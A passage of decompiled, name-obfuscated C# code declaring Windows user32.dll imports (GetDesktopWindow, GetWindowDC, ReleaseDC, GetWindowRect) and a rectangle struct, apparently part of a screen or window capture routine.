\u0002([In] IntPtr obj0, [In] IntPtr obj1); } public sealed class \u0002 { [DllImport("user32.dll", EntryPoint = "GetDesktopWindow", CharSet = CharSet.Ansi, SetLastError = true)] public static extern IntPtr \u0002(); [DllImport("user32.dll", EntryPoint = "GetWindowDC", CharSet = CharSet.Ansi, SetLastError = true)] public static extern IntPtr \u0002([In] IntPtr obj0); [DllImport("user32.dll", EntryPoint = "ReleaseDC", CharSet = CharSet.Ansi, SetLastError = true)] public static extern int \u0002([In] IntPtr obj0, [In] IntPtr obj1); [DllImport("user32.dll", EntryPoint = "GetWindowRect", CharSet = CharSet.Ansi, SetLastError = true)] public static extern int \u0002([In] IntPtr obj0, [In] ref \u0002.\u0004.\u0002.\u0001 obj1); public struct \u0001 { public int \u0001; public int \u0002; public int \u0003; public int \u0004; } } } } }